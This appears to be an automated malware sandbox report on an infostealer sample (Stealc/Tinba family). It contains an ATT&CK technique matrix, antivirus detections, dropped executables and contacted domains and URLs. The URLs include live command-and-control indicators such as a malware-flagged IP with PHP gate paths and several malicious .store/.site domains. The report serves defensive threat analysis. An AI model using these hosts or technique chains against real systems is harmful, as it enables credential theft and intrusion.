Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001105001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\QVVPAZNCIISWKSVDLM23B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001105001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001105001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe	50%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
twitter.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.251.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false		unknown
twitter.com	104.244.42.129	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
sergei-esenin.com	104.21.53.8	true	true		unknown
dyna.wikimedia.org	185.15.59.224	true	false		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.186.46	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	172.217.18.110	true	false		unknown
steamcommunity.com	104.102.49.254	true	true		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
reddit.map.fastly.net	151.101.129.140	true	false		unknown
ipv4only.arpa	192.0.0.170	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spirittunek.store	unknown	unknown	true		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
licendfilteo.site	unknown	unknown	true		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
support.mozilla.org	unknown	unknown	false		unknown
eaglepawnoy.store	unknown	unknown	true		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
www.facebook.com	unknown	unknown	false		unknown
bathdoomgaz.store	unknown	unknown	true		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
studennotediw.store	unknown	unknown	true		unknown
mobbipenju.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
clearancek.site	unknown	unknown	true		unknown
dissapoiznw.store	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
studennotediw.store	true		unknown
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown
eaglepawnoy.store	true		unknown
http://185.215.113.37/	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.2216660119.0000000001609000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bathdoomgaz.store:443/api	file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/;TZ	3f779c1cca.exe, 0000000E.00000003.3100069911.000000000522F000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3109186444.000000000522C000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3095999174.0000000005221000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3096679573.000000000522C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/	3f779c1cca.exe, 0000000E.00000003.3078062554.0000000005220000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000031.00000003.3312969309.000001F80F0B1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000023.00000002.3205919876.0000022908286000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3270730271.000001F87E8DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.commedia.gmp-gmpopenh264.visiblemedia.gmp-widevinecdm.enabledwebIsolated=https://you	firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/J	994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.valvesoftware.com/legal.htm	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpn	num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpm	num.exe, 0000001F.00000002.3117634363.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/CCAQIYAA==e	3f779c1cca.exe, 0000000E.00000003.3147599105.000000000522E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3148556331.0000000005232000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3135184648.000000000522E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phps	B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/z	num.exe, 0000001F.00000002.3117634363.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://sergei-esenin.com/cT	3f779c1cca.exe, 0000000E.00000003.3135184648.000000000522E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3200844550.0000000005230000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://s.ytimg.com;	file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
